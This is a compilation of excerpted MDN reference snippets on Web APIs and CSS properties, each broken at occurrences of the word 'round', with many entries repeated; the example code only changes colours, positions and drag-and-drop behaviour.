round = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border back to green to signify a dragexit event ev.currenttarget.style.backg
round = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it ...
GlobalEventHandlers.ondragleave - Web APIs
d black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's backg
round color to signify a drag over event // has occurred ev.currenttarget.style.backg
round = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's backg...
...
round color for enter events ev.currenttarget.style.backg
round = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's backg
round color back to white ev.currenttarget.style.backg
round = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's backg
round color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.backg
round = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's backg
round color back to green to signify a dragexit event ev.currenttarget.style.backg
round = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element...
HTMLImageElement.border - Web APIs
the obsolete htmlimageelement property border specifies the number of pixels thick the border sur
rounding the image should be.
... syntax htmlimageelement.border = thickness; let thickness = htmlimageelement.border; value a domstring containing an integer value specifying the thickness of the border that should sur
round the image, in css pixels.
...instead, use the css border property and its longhand properties to establish borders a
round images.
HTMLTableElement.bgColor - Web APIs
the htmltableelement.bgcolor property represents the backg
round color of the table.
...the css backg
round-color property should be used instead by modifying the element's style object or using a style rule.
... example // set table backg
round colour to lightblue var t = document.getelementbyid('tablea'); t.bgcolor = 'lightblue'; specification dom level 2 html:htmltableelement .bgcolor ...
The HTML DOM API - Web APIs
the htmlelement class, in turn, implements node, so every element is also a node (but not the other way a
round).
... this way, the structural features implemented by the node interface are also available to html elements, allowing them to be nested within each other, created and deleted, moved a
round, and so forth.
...from node, the element inherits concepts sur
rounding the ability for the element to be contained by another element, and to contain other elements itself.
IdleDeadline - Web APIs
to learn more about how request callbacks work, see collaborative scheduling of backg
round tasks.
... example see our complete example in the article cooperative scheduling of backg
round tasks api.
... specifications specification status comment cooperative scheduling of backg
round tasks proposed recommendation ...
Key Values - Web APIs
this can happen due to hardware or software constraints, or because of constraints a
round the platform on which the user agent is running.
... vk_fader_rear "audiosur
roundmodenext" selects the next available sur
round sound mode.
... vk_sur
round_mode_next "audiotrebledown" decreases the amount of treble.
Magnetometer - Web APIs
properties magnetometer.x read only returns a double containing the magnetic field a
round the device's x axis.
... magnetometer.y read only returns a double containing the magnetic field a
round the device's y axis.
... magnetometer.z read only returns a double containing the magnetic field a
round the device's z axis.
MediaStreamTrack: mute event - Web APIs
musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its backg
round color changed to #aaa.
... when the track exits the muted state—detected by the arrival of an unmute event—the backg
round color is restored to white.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
MediaStreamTrack: unmute event - Web APIs
musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its backg
round color changed to #aaa.
... when the track exits the muted state—detected by the arrival of an unmuted event—the backg
round color is restored to white.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backg
roundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
NetworkInformation - Web APIs
networkinformation.downlink read only returns the effective bandwidth estimate in megabits per second,
rounded to the nearest multiple of 25 kilobits per seconds.
...this value is determined using a combination of recently observed
round-trip time and downlink values.
... networkinformation.rtt read only returns the estimated effective
round-trip time of the current connection,
rounded to the nearest multiple of 25 milliseconds.
PannerNode.distanceModel - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PannerNode.maxDistance - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PannerNode.panningModel - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PannerNode.setOrientation() - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PannerNode.setPosition() - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PannerNode.setVelocity() - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PannerNode - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
PaymentRequest: paymentmethodchange event - Web APIs
the code assumes the existence of a method detailsforshipping(), which returns a paymentdetailsupdate object containing the shipping options for the g
round shipping method, in the form found in the paymentshippingoption dictionary.
... by doing so, the payment form defaults to the g
round shipping method.
... const options = { requestshipping: true }; const paymentrequest = new paymentrequest(paymentmethods, detailsforshipping("g
round"), options); paymentrequest.addeventlistener("paymentmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like this: handlepaymentchange = event => { const detailsupdate = {}; if (event.methodname === "https://apple.com/apple-pay") { const servicefeeinfo = calculateservicefee(event.methoddetails); object.assign(detailsupdate, servicefeeinfo); } event.updatewith(detailsupdate); }, false); this begins by looking at the event's methodname proper...
performance.now() - Web APIs
it's important to keep in mind that to mitigate potential security threats such as spectre, browsers typically
round the returned value by some amount in order to be less predictable.
...for example, firefox
rounds the returned time to 1 millisecond increments.
... reduced time precision to offer protection against timing attacks and fingerprinting, the precision of performance.now() might get
rounded depending on browser settings.
RTCIceCandidatePairStats - Web APIs
current
roundtriptime optional a floating-point value indicating the total time, in seconds, that elapsed elapsed between the most recently-sent stun request and the response being received.
... total
roundtriptime optional a floating-point value indicating the total time, in seconds, that has elapsed between sending stun requests and receiving responses to them, for all such requests made to date on this candidate pair.
...you can compute the average
round trip time (rtt) by dividing this value by responsesreceived.
Screen Wake Lock API - Web APIs
it allows for a simple platform based solution which up until now could only be achieved via worka
rounds which were potentially power hungry.
... if your app is performing long-running downloads, consider using backg
round fetch.
... if you app is synchronizing data from a remote server, consider using backg
round sync.
ServiceWorkerRegistration - Web APIs
serviceworkerregistration.sync read only returns a reference to the syncmanager interface, which manages backg
round synchronization processes.
... unimplemented properties serviceworkerregistration.periodicsync read only returns a reference to the periodicsyncmanager interface, which manages periodic backg
round synchronization processes.
... web backg
round synchronization living standard adds the sync property.
Improving compatibility using WebRTC adapter.js - Web APIs
while you can manually code a
round these issues, there is an easier way.
... the webrtc organization provides on github the webrtc adapter to work a
round compatibility issues in different browsers' webrtc implementations.
...there's no need to conditionally use prefixed apis or implement other worka
rounds.
Web Video Text Tracks Format (WebVTT) - Web APIs
within site css video::cue { backg
round-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } video::cue(b) { color: peachpuff; } here, all video elements are styled to use a gray linear gradient as their backg
rounds, with a foreg
round color of "papayawhip".
...in this case, you insert your css rules into the file with each rule preceded by the string "style" all by itelf on a line of text, as shown below: webvtt style ::cue { backg
round-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } /* style blocks cannot use blank lines nor "dash dash greater than" */ note comment blocks can be used between style blocks.
...rted by webvtt is the localization and use of class elements which can be used in same way they are used in html and css to classify the style for particular type of objects, but here these are used for styling and classifying the cues as shown below: webvtt 04:02.500 --> 04:05.000 j’ai commencé le basket à l'âge de 13, 14 ans 04:05.001 --> 04:07.800 sur les <i.foreignphrase><lang en>playg
round</lang></i>, ici à montpellier in the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <i> tag is for italics.
Lighting a WebXR setting - Web APIs
lighting estimation lighting estimation is a technique used by augmented reality platforms to attempt to match the lighting of the virtual objects in the scene to the lighting of the real world sur
rounding the viewer.
... lighting information can leak to the web information about the user's sur
roundings and device usage patterns.
...by simply ensuring that the compass direction and the light directionality aren't identical on every device that's near (or claims to be near) the user's location, the ability to find users based on the state of the lighting a
round them is removed.
Window.find() - Web APIs
syntax window.find(astring, acasesensitive, abackwards, awrapa
round, awholeword, asearchinframes, ashowdialog); astring the text string for which to search.
... awrapa
round boolean.
... if true, specifies a wrap a
round search.
window.requestIdleCallback() - Web APIs
this enables developers to perform backg
round and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... example see our complete example in the article cooperative scheduling of backg
round tasks api.
... specifications specification status comment cooperative scheduling of backg
round tasks proposed recommendation initial definition.
XREnvironmentBlendMode - Web APIs
this is primarily used by fully-immersive vr headsets, which totally obscure the sur
rounding environment, with none of the real world shown to the user at all.
... additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's eyes, the additive blending mode is designed to be used in a situation in which the device has no control over the backg
round and its brightness, since that isn't being digitally controlled.
...pixels whose alpha value is 1.0 are rendered fully opaque, totally obscuring the real world, while pixels with an alpha of 1.0 are totally transparent, leaving the sur
rounding environment to pass through.
XRPermissionDescriptor.optionalFeatures - Web APIs
if the estimated floor level is non-zero, the browser is expected to
round it such a way as to avoid fingerprinting (likely to the nearest centimeter).
...the viewer isn't tracked at all; tracking is optimized for stability a
round the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move a
round, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRPermissionDescriptor.requiredFeatures - Web APIs
if the estimated floor level is non-zero, the browser is expected to
round it such a way as to avoid fingerprinting (likely to the nearest centimeter).
...the viewer isn't tracked at all; tracking is optimized for stability a
round the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move a
round, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRPermissionStatus.granted - Web APIs
if the estimated floor level is non-zero, the browser is expected to
round it such a way as to avoid fingerprinting (likely to the nearest centimeter).
...the viewer isn't tracked at all; tracking is optimized for stability a
round the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move a
round, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRReferenceSpaceType - Web APIs
if the estimated floor level is non-zero, the browser is expected to
round it such a way as to avoid fingerprinting (likely to the nearest centimeter).
...the viewer isn't tracked at all; tracking is optimized for stability a
round the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move a
round, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRSession.environmentBlendMode - Web APIs
this is primarily used by fully-immersive vr headsets, which totally obscure the sur
rounding environment, with none of the real world shown to the user at all.
... additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's eyes, the additive blending mode is designed to be used in a situation in which the device has no control over the backg
round and its brightness, since that isn't being digitally controlled.
...pixels whose alpha value is 1.0 are rendered fully opaque, totally obscuring the real world, while pixels with an alpha of 1.0 are totally transparent, leaving the sur
rounding environment to pass through.
XRSession.requestReferenceSpace() - Web APIs
if the estimated floor level is non-zero, the browser is expected to
round it such a way as to avoid fingerprinting (likely to the nearest centimeter).
...the viewer isn't tracked at all; tracking is optimized for stability a
round the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move a
round, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
-moz-outline-radius-bottomleft - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-bottomleft css property can be used to
round the bottom-left corner of an element's outline.
... <percentage> the radius of the circle defining the
rounding of the bottom-left corner of the element, specified as the percentages of the bottom and left sides of the border box.
... formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples
rounding a outline since this is a firefox-only property, this example will not display the desired effect if you are viewing this in a browser other than firefox.
-moz-outline-radius - CSS: Cascading Style Sheets
in mozilla applications like firefox, the -moz-outline-radius css shorthand property can be used to give an element's outline
rounded corners.
...perties of the shorthand:-moz-outline-radius-topleft: a length, percentage or calc();-moz-outline-radius-topright: a length, percentage or calc();-moz-outline-radius-bottomright: a length, percentage or calc();-moz-outline-radius-bottomleft: a length, percentage or calc(); formal syntax <outline-radius>{1,4} [ / <outline-radius>{1,4} ]?where <outline-radius> = <length> | <percentage> examples
rounding an outline note: this example will not display the desired effect if you are viewing this in a browser other than firefox.
... html <p>this element has a
rounded outline!</p> css p { margin: 5px; border: 1px solid black; outline: dotted red; -moz-outline-radius: 12% 1em 25px; } result notes dotted or dashed radiused corners were rendered as solid until firefox 50, bug 382721 future versions of gecko/firefox may drop this property completely.
-webkit-mask-box-image - CSS: Cascading Style Sheets
initial value: none applies to: all elements inherited: no media: visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stretch |
round | space values <uri> the location of the image resource to be used as a mask image.
...
round the mask image is stretched somewhat and repeated such that there is no partial mask image at the end of the border box.
... examples setting an image .exampleone { -webkit-mask-box-image: url('mask.png'); } offsetting and filling an image .exampletwo { -webkit-mask-box-image: url('logo.png') 100 100 0 0
round round; } specifications not part of any standard.
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
/* keyword values */ -webkit-mask-repeat-x: repeat; -webkit-mask-repeat-x: no-repeat; -webkit-mask-repeat-x: space; -webkit-mask-repeat-x:
round; /* multiple values */ -webkit-mask-repeat-x: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-x: inherit; -webkit-mask-repeat-x: initial; -webkit-mask-repeat-x: unset; syntax values repeat the mask image is repeated both horizontally and vertically.
...
round as the allowed space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added.
... formal definition initial valuerepeatapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax repeat | no-repeat | space |
round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('ma...
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
/* keyword values */ -webkit-mask-repeat-y: repeat; -webkit-mask-repeat-y: no-repeat; -webkit-mask-repeat-y: space; -webkit-mask-repeat-y:
round; /* multiple values */ -webkit-mask-repeat-y: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-y: inherit; -webkit-mask-repeat-y: initial; -webkit-mask-repeat-y: unset; syntax values repeat the mask image is repeated vertically.
...
round as the allowed vertical space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added.
... formal definition initial valuerepeatapplies toall elementsinheritednocomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax repeat | no-repeat | space |
round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('ma...
:-moz-window-inactive - CSS: Cascading Style Sheets
note: prior to the addition of this pseudo-class, giving different styles to backg
round windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
... syntax :-moz-window-inactive examples this example alters the appearance of a box's backg
round depending on whether its window is active or not.
... html <div id="mybox"> <p>this is a box!</p> </div> css #mybox { backg
round: linear-gradient(to bottom, yellow, cyan); width: 200px; height: 200px; } #mybox:-moz-window-inactive { backg
round: cyan; } result the result of this code is shown below.
::cue - CSS: Cascading Style Sheets
the only exception is that backg
round and its longhand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue | ::cue( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties: backg
round backg
round-attachment backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-position backg
round-repeat backg
round-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space examples styling webvtt cues as white-on-black the following css sets the cue style so that the text is white and the backg
round is a...
... ::cue { color: #fff; backg
round-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web video text tracks formatthe definition of '::cue' in that specification.
:fullscreen - CSS: Cascading Style Sheets
the first establishes the backg
round color of the "toggle full-screen mode" button when the element is not in a full-screen state.
... #fs-toggle:not(:fullscreen) { backg
round-color: #afa; } when the document is in full-screen mode, the following css applies instead, setting the backg
round color to a pale shade of red.
... #fs-toggle:fullscreen { backg
round-color: #faa; } specifications specification status comment fullscreen apithe definition of ':fullscreen' in that specification.
:read-only - CSS: Cascading Style Sheets
input:read-only, textarea:read-only { backg
round-color: #ccc; } p:read-only { backg
round-color: #ccc; } syntax :read-only examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; backg
round-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-only non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that cannot be edited by the user.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { backg
round-color: red; color: white; } p:read-write { backg
round-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
:read-write - CSS: Cascading Style Sheets
input:read-write, textarea:read-write { backg
round-color: #bbf; } p:read-write { backg
round-color: #bbf; } syntax :read-write examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; backg
round-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> elem...
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { backg
round-color: red; color: white; } p:read-write { backg
round-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
:target - CSS: Cascading Style Sheets
isn't that delightful?</p> css p:target { backg
round-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
...vida magna.</figcaption> </figure> </div> css /* unopened lightbox */ .lightbox { display: none; } /* opened lightbox */ .lightbox:target { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; } /* lightbox content */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em; backg
round-color: lightpink; } /* close button */ .lightbox .close { position: relative; display: block; } .lightbox .close::after { right: -1rem; top: -1rem; width: 2rem; height: 2rem; position: absolute; display: flex; z-index: 1; align-items: center; justify-content: center; backg
round-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* ...
...lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; backg
round-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html living standardthe definition of ':target' in that specification.
Coordinate systems - CSS: Cascading Style Sheets
whenever the mouse enters, moves a
round inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems.
... .outer { width: 1000px; height: 200px; backg
round-color: red; } .inner { position: relative; width: 500px; height: 150px; top: 25px; left: 100px; backg
round-color: blue; color: white; cursor: crosshair; user-select: none; -moz-user-select: none; -ms-user-select: none; -webkit-user-select: none; } .log { position: relative; width: 100%; text-align: center; } result here you can see the results in action.
... as you mouse in and a
round the blue box, watch the values of the mouse's x and y coordinates change in the various coordinate systems in which you can obtain the values.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
in this guide we will look at how well flexbox is supported in browsers, and look at some potential issues, resources and methods for creating worka
rounds and fallbacks.
...each of the bugs has a worka
round listed — which can save you many hours of puzzling.
... “note: some values of display normally trigger the creation of anonymous boxes a
round the original box.
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
play a
round with the different values — as for flex-grow you can use decimals or larger numbers here.
... other ways to distribute space if you do not want space added to the items, remember that you can deal with free space between or a
round items using the alignment properties described in the guide to aligning items in a flex container.
... the justify-content property will enable the distribution of free space between or a
round items.
Consistent list indentation - CSS: Cascading Style Sheets
since we have no padding for the <ul> element, its content wraps snugly a
round the three list items.
...if we apply a backg
round color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in figure 5.
...we can only see the difference if we try to set a backg
round or border on the <ul> element.
Stacking without the z-index property - CSS: Cascading Style Sheets
when the z-index property is not specified on any element, elements are stacked in the following order (from bottom to top): the backg
round and borders of the root element descendant non-positioned blocks, in order of appearance in the html descendant positioned elements, in order of appearance in the html keep in mind, when the order property alters rendering from the "order of appearance in the html" within flex containers, it similarly affects the order for stacking context.
...<div id="rel2" class="relative"> <b>div #3</b><br />position: relative;</div> <div id="abs2" class="absolute"> <b>div #4</b><br />position: absolute;</div> <div id="sta1" class="static"> <b>div #5</b><br />position: static;</div> css b { font-family: sans-serif; } div { padding: 10px; border: 1px dashed; text-align: center; } .static { position: static; height: 80px; backg
